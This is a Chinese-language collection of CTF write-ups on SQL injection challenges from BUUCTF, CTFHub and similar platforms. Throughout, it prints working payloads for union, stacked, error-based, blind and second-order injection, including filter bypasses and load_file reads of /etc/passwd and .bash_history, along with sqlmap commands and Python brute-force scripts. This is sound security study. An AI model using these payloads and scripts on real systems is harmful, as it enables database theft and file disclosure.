sql题wp


sql好难.jpg

[极客大挑战 2019]EasySQL

image-20210615120304661

用户框里输入单引号出现报错,猜测为字符型注入

image-20210615121140407

利用1'or 1#注入得到flag

image-20210615121210956

[强网杯 2019]随便注

先试一下万能密码

image-20210615214551313

利用1‘ order by 可以试出该表中存在两个字段

接下来要用堆叠查询(利用分号执行多个sql语句)

尝试先查询数据库

image-20210615214516623

成功。

再查询表名

image-20210615214901418

看到有两个表,查询两个表中的字段

words表内存在两个字段

image-20210615215132406

1919810931114514表内存在一个字段,flag在该表内。

(查询该表时表名要在反单引号内)

1';show columns from 1919810931114514#

image-20210615215232514

所以可以猜测

内部查询语句类似 : select id, data from words where id =

所以要把words表改为word1,将flag所在的表表名改为words,然后将flag改名为id;

payload:1';rename table words to word1;rename table 1919810931114514 to words; alert table words change flag id varchar(100);#

再用1’ or 1#注入

image-20210615232041458

也可以把words表改为words,将flag所在的表表名改为words,再为其添加id列,并将flag改为data

payload:1';rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

再将1提交可直接获得flag

image-20210615232008605

[SUCTF 2019]EasySQL

进入后输入1有回显

image-20210617020541195

输入1‘无回显猜测是数字型注入

用堆叠注入的方式

image-20210617020708317

查到存在一个flag表,尝试查看里面的内容

image-20210617020823449

大概是被过滤了,只好百度搜wp了

看到dalao能够猜出后端语句为select ".$

post['query']."||flag from Flag

(搜到一篇wp说原环境中存在源码泄露,所以能够知道这部分的sql语言,但是buu的环境里没有 SUCTF 2019] EasySQL_Senimo-CSDN博客

解法一:输入*,1

由于||在MySQL中起或的作用,因此1||flag会返回1,也就变成了

select *,1 from Flag.

成功找到flag

image-20210617021123869

如果查询的参数不存在,那就会创建一个临时的列,并且设置该列所有参数都是查询的参数。所以整个payload语句的意思就是查询所有数据,然后增加了一个临时列,结果看图,第一列是数据库中的数据,第二列是添加的临时列1

因此在查询的flag后还有一个值为1的临时列

解法二

把"||"变成字符串连接符,而不是或。这里涉及到mysql中sql_mode参数设置,设置sql_mode=pipes_as_concat字符就可以设置。

payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

image-20210617021450142

也能获得flag。

这是查询语句相当于select 1flag from Flag

(不太懂为啥这样也能查出来,1flag是列名如果Flag表里没有这一列呢??)

[极客大挑战 2019]LoveSQL

用到了联合查询

原理篇——sql注入2:联合查询注入 - 这太秃然了 - 博客园 (cnblogs.com)

SQL注入之联合查询注入_selecthch的博客-CSDN博客_联合注入

参考一下

常规步骤

  1. 判断注入点

    2. 判断注入类型(数字型型or字符型)

    3. 判断字段数

    4. 判断回显位

    5. 确定数据库名

    6. 确定表名

    7. 确定字段名

    8. 拿到数据

1.判断注入点

​ 在输入的用户名后添加单引号返回出错,猜测存在注入

image-20210617122257987

2.判断注入类型

​ 在用户名后输入1’ or 1#后成功进入,但还是没有拿到flag,因此继续尝试注入

image-20210617122350388

3.判断字段数

​ 当order by 4时出错,因此应有三个字段数

4.判断回显位

image-20210617122732266

5。确定数据库名

​ 为了获取所有数据库名,要利用group_concat()函数令其一次性显示出来

1' union select 1,2,group_concat(database());#

image-20210617123129571

6.确定表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();#

【INFORMATION_SCHEMA 数据库】 是MySQL自带的,它提供了访问数据库 元数据 的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

常用字段

字段 含义
Table_catalog 数据表登记目录
Table_schema 数据表所属的数据库名
Table_name 表名称
Table_type 表类型[system view|base table]
Engine 使用的数据库引擎[MyISAM|CSV|InnoDB]
Version 版本,默认值10
Row_format 行格式[Compact|Dynamic|Fixed]
Table_rows 表里所存多少行数据
Avg_row_length 平均行长度
Data_length 数据长度
Max_data_length 最大数据长度
Index_length 索引长度
Data_free 空间碎片
Auto_increment 做自增主键的自动增量当前值
Create_time 表的创建时间
Update_time 表的更新时间
Check_time 表的检查时间
Table_collation 表的字符校验编码集
Checksum 校验和
Create_options 创建选项
Table_comment 表的注释、备注

image-20210617123612820

  1. 确定字段名

    猜测flag应该在l0ve1ysq1表中,因此查找该表内的字段名

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1';#

image-20210617164130341

8.拿到数据

查找这三列中的全部数据,利用group_concat();

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#;

image-20210617164638259

得到flag

MySQL默认有“information_schema”的数据库,该库中有三个表名:

1、SCHEMATA:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME。
2、TABLES:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMA和TABLE_NAME。
3、COLUMNS:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

ctfhub—SQL 整数型注入

输入1有回显

image-20210617171453199

输入1 and 1=2无回显,既存在注入点,整数型注入

利用order by可知存在两个字段

利用联合查询查询数据库名称

image-20210617171639524

再查找表名

image-20210617171824424

flag应该就在flag表内,再查找字段名

image-20210617171902588

最后得到flag

image-20210617171939691

ctfhub—SQL字符型注入

利用order by判断字段数

输入-1' union select 1,2#判断回显位置

image-20210617225730001

查数据库名

image-20210617221940482

查表名

image-20210617221849032

查字段名

image-20210617224854046

查flag -1' union select 1,group_concat(flag) from flag#

image-20210617225605950

感觉和整数型注入差不多

ctfhub—报错注入

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。

extractvalue()

函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

payload模板

' and extractvalue(1,concat(0x7e,(select @@version),0x7e))
  1. 0x7e=’~’
  2. concat(‘a’,‘b’)=“ab”
  3. version()=@@version
  4. ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
  5. extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

返回结果不能超过一条

若超过则需再查询语句后添加limit x,1或用group_concat()函数

updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

and 1=(updataxml(1,concat(0x7e,(sql_inject),0x7e),1))

flood()

原理还没看明白(

先放个模板在这

1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

题目:

利用extractvalue

输入单引号提示语法错误,输入and 1=1能正确查询,猜测为数字型,利用extractvalue函数爆库名

image-20210618145637443

再爆表名

这里提示太长因此利用group_concat()函数

image-20210618150129458

猜到flag再flag表内爆列名

image-20210618150241862

最后查询内容

1 and extractvalue(1,concat(0x7e,(select flag from flag limit 0,1),0x7e))

由于extractvalue函数只能显示32位字符,所以要利用substring函数进行分割

image-20210618150615881

利用substring查看右边31位字符

image-20210618181313759

最后可以拿到flag

ctfhub{ff3bb0327849e1b9e0e6abfd}

利用updataxml函数

image-20210618181744673

利用flood函数

image-20210618182036292

ctfhub—布尔盲注

只有出现数据提交正确和错误两种不同的页面(报错型至少语法错误会回显错误到页面上)或者无法使用联合查询。

步骤

  1. 用错误和正确两种反馈进行逐一试验,猜测出闭合
  2. 利用length来逐一测试字符串的长度
  3. 利用substr来逐一的测试,测试库名、表名、列名和其他数据
  4. 最后得到数据

函数

length()		返回字符串的长度
length(abc)		返回3,表示abc字符串长度为3

substr()		截取字符串
substr(abc,1,1)	返回a,从abc的第一位开始截取,步长为1

mid()			取出字符串的一部分值
mid(abc,1,1)	返回a,从abc的第一位开始取,步长为1,
				与substr()用法一致
left()			取出字符串左边的几个数据
left(abc,1)		返回a
left(abc,2)		返回ab

right()			取出右边的几个数据
right(abc,1)	返回c
right(abc,2)	返回bc

ord() 与ascii()	返回一个字符的ascii码值
ascii(s)		返回114

hex()			返回16进制数

先猜数据库长度>3时返回成功,>4时返回失败可以得到数据库名长度为4

image-20210618213033658

接下来利用substr和ascii函数猜名字

首字母ascii码大于114时返回成功,大于115时返回失败,可得到首字母的ascii码为115,为s

image-20210618213347153

第二位同理可以得到ascii码值为113,为q

image-20210618213535384

最后可得数据库名为sqli

再猜表名

1 and substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n'

image-20210618214343490

(感觉这部分应该用bp抓包爆破更方便)

把limit后的0改为1猜第二个表名

image-20210618214721333

最后能得到有news和flag两个表

再猜字段

首字母ascii码为102,为f

image-20210618215609088

同理能得到字段名为flag

最后爆内容

image-20210618222859475

太多了,用bp爆破完感觉也很难找,估计用py写脚本会方便很多

用sqlmap:

-u http://challenge-b896931f16bb5e67.sandbox.ctfhub.com:10800/?id=1 --dbs查库名

image-20210618224516739

-u http://challenge-b896931f16bb5e67.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

查表名

image-20210618224721120

-u http://challenge-b896931f16bb5e67.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns查字段名

image-20210618225207129

-u http://challenge-b896931f16bb5e67.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump查值

image-20210618225706653

ctfhub—时间盲注

利用sleep函数进行盲注

若and之前的语句正确则成功执行sleep

能得到是数字型注入

image-20210619153620142

接下来利用if语句进行注入是否成功的判断1 and if(查询语句,sleep(2),1)

若为真则执行sleep(2),若为假则执行1

接下来步骤与布尔盲注相似

猜数据库名(也可以利用ascii码来猜,但因为ctfhub的sql题名称都一样,就直接试字符了)

1 and if(substr(database(),1,1)='s',sleep(2),1)#

猜表的数量

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(2),1)#

猜表名

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0,sleep(2),1)#

将limit后的0改为1再猜第二个表名

分别为news 和 flag

猜flag表内字段数量

1 and if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(2),1)#

猜字段名

1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>102,sleep(2),1)#

最终可以猜出字段名为flag

再猜内容

1 and if(ascii(substr((select flag from flag limit 0,1),1,1))>99,sleep(2),1)#

这部分应该还是要用python或者sqlmap

image-20210619160201466

过滤空格

看题目就知道空格被过滤了,这里可以利用/**/注释符来替代空格,其他步骤和字符型注入一样

image-20210620113251958

最后得到flag

image-20210620113632138

贴个别人总结的过滤和绕过

SQL注入一些过滤及绕过总结_obsetear的博客-CSDN博客

[极客大挑战 2019]BabySQL

看到界面提示存在过滤

输入1' and 1=1# 1‘ or 1# 1' and select 1 from 1#等语句根据返回的错误信息可以知道过滤了select or and union from by where

image-20210619173714989

image-20210619173908385

这里可以利用双写绕过,首先利用order by查字段数可以查到表内有三列

1' oorrder bbyy 4;#

image-20210619174055661

接下来可以利用联合查询

先看回显1' ununionion selselectect 1,2,3;#

image-20210619174226243

查库名1' ununionion selselectect 1,2,database();#

image-20210619174351658

查表名

1' ununionion selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database());#

image-20210619174759820

flag应该在b4bsql表里,爆一下列名

1' ununionion selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql');#

image-20210619175029086

最后爆内容1' ununionion selselectect 1,2,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql);#

image-20210619175306597

[极客大挑战 2019]HardSQL

试了一下,and union 空格 等于都被过滤了尝试了几种绕过姿势都没成功,看了下别人的wp说是报错注入

利用括号来去掉查询语句中的空格

先查库

0'or(extractvalue(1,concat(0x7e,(database()),0x7e)))#

image-20210619181915074

再查表

由于等于号也被过滤了,所以要用like

admin'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e)))#

image-20210619184507074

爆列名

admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e)))#

image-20210619184801079

最后爆内容

admin'or(extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e)))#

image-20210619185705420

flag{66f2f5cd-207d-4d50-87

由于extractvalue显示字符数的限制,要用substr函数对其进行分割

admin'or(extractvalue(1,concat(0x7e,right((select(group_concat(id,username,password))from(H4rDsq1)),31),0x7e)))#

image-20210619190153350

cd-207d-4d50-87bd-d8b762ffce95}

最后拼一下得到flag

flag{66f2f5cd-207d-4d50-87bd-d8b762ffce95}

[SWPU2019]Web1

进入后是个登录页面,注册个账号之后登录

可以知道注入点在广告位上

image-20210619214559474

试一下可以知道or and #都被过滤了

因为过滤了#号,所以要保证后面的单引号能闭合

0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&‘1’=‘1

得到回显位置2,3.

image-20210619220207345

因为or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过

SQL注入:限制条件下获取表名、无列名注入 - MustaphaMond - 博客园 (cnblogs.com)

InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

sys数据库需要root权限,而innoDb在mysql中默认关闭

限制:
mysql ≥ 5.7版本

先查一下数据库版本

image-20210619221524942

因此可以利用innoDb来查表名

系统Mysql库中存在两张与innodb相关的表:innodb_table_statsinnodb_index_stats

所以可以通过查找这两个表取代information的作用

0'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1

0'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name=database()&&'1'='1

得到表名为ads和users

image-20210619223630074

猜flag在users表内,进行无列名注入

无列名注入原理

无列名注入的原理就是在取别名的同时查询数据。通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。

表的列数也要一次次试

(不太懂为啥这里的列数不是22)

CTF|mysql之无列名注入 - 知乎 (zhihu.com)

[SWPU2019]Web1 - 王叹之 - 博客园 (cnblogs.com)

0'/**/union/**/select/**/1,2,
(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1	

如果反引号被过滤,就要对字段利用别名替代

image-20210619234252501

还可以利用join爆列名

join后的列名是两个表列名加起来的,可能会产⽣相同的列名,如id和name,使⽤别名时,表中不能出现同的字段名,这就跟join第⼀个特点相冲突,所以在join和别名同时使⽤时会导致报错

当通过查询得到新的表时,必须有一个别名,即每个派生出来的表都必须有一个自己的别名

二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入,可以概括为以下两步:

  • 第一步:插入恶意数据
    进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据
    开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

image-20210621110912304

记考核赛的一次sql盲注

image-20210821170913431

(strcmp(ascii(substr(REVERSE(tceles)(table_name)from(mysql.innodb_table_stats)where((table_schema)like(database())),1,1)),10000))%23

||strcmp(ascii(substr((select(table_name)from(mysql.innodb_table_stats))where((database_name)like(database())),1,1)),1)%23

username=admin&password=||((ascii(mid((pwd)from(1))))like(12))%23

YouAresOgOoD

select(table_name)from(information_schema.tables)where(table_schema=database())

||(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),§1§,1))=§0§)%23

flag_1s_her3

||(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666c61675f31735f68657233)),§1§,1))=§0§)%23

flag{sql1_1s_s0_ea3y}

[CISCN2019 华北赛区 Day2 Web1]Hack World

sql注入,先用fuzz测一下过滤(buu的网站好像有访问限制,所以post到后面之后因为请求太多了会直接报429,而且不知道是不是bp的问题有些没有过滤的也会被显示为被过滤了

image-20210724095707401

这里应该要采用bool盲注的方式,但是过滤的东西有点多

因为空格被过滤了所以要利用()来代替空格

抄了个脚本

image-20210724131620633

感觉是很简单的盲注,然后要利用python编脚本

[GXYCTF2019]BabySQli

GXYCTF2019]BabySQli——“绕过md5比较”_WHOAMIAnony的博客-CSDN博客

当用户名为admin时,提示密码错误,因此能知道用户名为admin

登录后跳转到search.php中,在源码里存在一个进行base加密的提示

image-20210724153525231

sql注入,先fuzz看一下过滤

image-20210724152502898

然后可以利用大写绕过查到共有3列(其实直接union试也可以

之后要利用联合注入

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

image-20210724152803276

后端代码

<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){ 
echo $flag; 
}else{ echo “wrong pass!”; 
}}
else{ echo “wrong user!”;}

所以可以在联合查询时构造虚拟的数据利用这个数据进行登录操作

username=0' union select 1,'admin','202cb962ac59075b964b07152d234b70' #
password=123

得到flag

image-20210724153406008

[GYCTF2020]Blacklist

这个看起来和强网杯那个有点像

同样也是堆叠注入

可以用

1';show tables;#查表

image-20210725230626425

flag应该就在flaghere这个表里

看一下列名

image-20210725231110024

想查看的时候发现存在过滤

image-20210725231208544

这里可以利用headler

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

最终payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

1';handler score open;handler score read first;handler score close;#

(试了一下利用headler强网杯的那道也能注出来

image-20210725231720309

关于handler命令
转载自:https://blog.csdn.net/jesseyoung/article/details/40785137

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

基本语法:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tbl_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

如果我们不想浏览一个表的所有行,可以使用where和limit子句。

[极客大挑战 2019]FinalSQL

盲注,注入点在id

可以利用异或来进行盲注

image-20210906123555686

image-20210906123751187

找个脚本直接爆破,学一下这个脚本

import requests
import sys
import time

def get_DBlen(url):
    for i in range(1,10):
        db_url = url+"1^1^(length(database())=%d)#"%i
        r = requests.get(db_url)
        if "Click" in r.text:
            print("数据库名称的长度为:%d"%i)
            return i

def get_DBname(url,length):
    DBname = ""
    length = length + 1
    for i in range(1,length):
        Max = 122
        Min = 41
        Mid = (Max+Min)//2
        while Min <= Max:
            # 爆表名
            db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max = Mid-1
                Mid = (Min+Max)//2
                pass
            pass
        DBname = DBname + chr(Mid)
    print(DBname)
    return DBname

def get_TBname(url):
    name=""
    i = 0
    while True:
        i = i+1
        Max = 128
        Min = 32
        Mid = (Max+Min)//2
        while Min <= Max:
            # 爆表名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
            # 爆字段名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
            # 获取flag
            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max=Mid-1
                Mid=(Min+Max)//2
                pass
            pass
        name=name+chr(Mid)
        print(name)
        if Mid == 31:
            break
        time.sleep(0.5)
  if __name__=="__main__":
    url = "http://0b2df33c-3f5b-4b49-ae98-ca2c2c2e55bf.node4.buuoj.cn:81/search.php?id="
    db_Len = get_DBlen(url)
    db_Name = get_DBname(url,db_Len)
    tb_name = get_TBname(url)

image-20210906151816679

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

第一次遇见二次注入的题,正好学一下

image-20211026234512946

image-20211026234523294

源码里有个file,猜测有文件包含,可以利用伪协议读取这几个页面的源码

change.php页面

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}

主要的漏洞点就在change.php

因为其他输入位置过滤的太多,基本能注入的都被过滤了,所以只能利用address

在创建address时虽然对输入的数据进行了addslashes过滤

但之后还会对旧address进行一次sql查询

因此可以利用二次注入,再结合报错注入,和load_file函数读取flag文件

在创建时在地址中输入注入语句

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,50)),0x7e),1)#

(这里之所以要看flag.txt根据师傅们的博客推测是纯靠猜的

image-20211027000523555

在修改地址的时候就会重新调用这个sql语句,报错输出flag

image-20211027000543438

[RCTF2015]EasySQL

这也是个二次注入

注册后登录再修改密码

利用报错注入

ethe"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

image-20211028162141941

ethe"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#

image-20211028162259138

ethe"||(updatexml(1,concat(0x3a,(select(group_concat(flag))from(flag))),1))#

离谱,被骗了

image-20211028163357632

重新查表

ethe"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

image-20211028170524356

这一看就是没输出全

ethe"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1))#

image-20211028170804487

???

这个字段里加了一堆没用的数据

只能用正则regexp过滤一下

ethe"||updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

image-20211028171620967

还是没输出全

之后就要用逆序输出了

ethe"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

image-20211028171750860

[网鼎杯 2018]Comment

有git泄露,用githack跑一遍,然后利用git log --reflog查看历史提交,再利用git reset回滚版本,得到原始的代码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

输入的内容都被addslashes过滤了,但是在comment部分,category是直接从数据库中调出来的,也就是说这里存在二次注入

在发帖部分:的category里输入x',content=database(),/*

image-20211117213616672

再在提交留言里

image-20211117213710038

这样可以形成多行注释,注释掉原有的content字段

可以得到数据库名称

image-20211117213738173

这时查询语句为

$sql = "insert into comment
        set category = 'x',content=database(),/*',
            content = '*/#',
            bo_id = '$bo_id'";

$sql = "insert into comment
        set category = 'x',content=database(),
            bo_id = '$bo_id'";

SQL读取文件
用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

.bash_history

在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/处。

.DS_Store文件泄露

文件泄露,有一个下载至本地的脚本,不过这题用不上。

在发帖之前还有个登录界面,用户名和密码前几位直接给了,剩下三位爆破得到666

',content=(select(load_file("/etc/passwd"))),/*

image-20211117214221610

这一步应该是为了知道.bash_histroy文件的路径

image-20211117214325543

',content=(select(load_file("/home/www/.bash_history"))),/*

image-20211117214355622

我们看到进行了一个解压然后复制和删除的操作,而.DS_Store只在/var/www/html/目录下被删除了,/tmp/html目录下依然存在

接着再查.DS_Store

',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

为了使其全部显示,要用hex编码

image-20211117214600582

然后解码

image-20211117214639450

看见有个flag文件

读一下

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

image-20211117214713821

再解码,拿到flag

image-20211117214747130

[GYCTF2020]Ezsqli

or被过滤了,没法用information查表了,但是可以用

1&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),1,1))=103
2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}.format()

正确的时候返回Nu1L,错误时返回V&N

爆表脚本

import requests

url = "http://c581ac4d-17cf-437c-abc6-b0153526b868.node4.buuoj.cn:81/"

payload = '2||ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{}'

database= ''

for i in range(1,1000):
	low = 32
	heigh = 128
	mid = (low + heigh) // 2
	while (low < heigh):
		payload1 = payload.format(i,mid)
		post_data = {'id': payload1}
		r = requests.post(url,data=post_data)
		print(payload1)
		if "Nu1L" in r.text:
			low = mid + 1
		else:
			heigh = mid
		mid = (low + heigh) // 2
	if mid == 32:
		break
	database +=chr(mid)
	print(database)

image-20211123202113511

得到表名后,拿不到列名,这里可以用无列名注入

先贴payload

2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))

采用了字符偏移

  • 按位去比较,如果爆破字符与flag的第一个字符相等,就向后继续,大了小了都要继续当前的循环,直到找到合适的字符

  • 所以最后的mid要减一才是正确的字符

  • 这里我们传入十六进制,mysql会自动将十六进制转为字符

  • mysql不区分大小写,比较的时候O(0x4f)的ascii比f(0x66)的ascii小,但是比较的结果是O比f大

image-20211123202924585

这里要和flag的表的列数一样

最后跑一下拿flag

import requests

url = "http://c581ac4d-17cf-437c-abc6-b0153526b868.node4.buuoj.cn:81/index.php"

#payload = '2||ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{}'
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
change = ''
database= ''
for j in range(1,100):
	for i in range(32,128):
		change = database+chr(i)
		payload1 = payload.format(change)
		print(payload1)
		data = {'id': payload1}	
		r = requests.post(url,data=data)
		if 'Nu1L' in r.text:
			database += chr(i-1)
			print(database)
			break

image-20211123205558046

[b01lers2020]Life on Mars

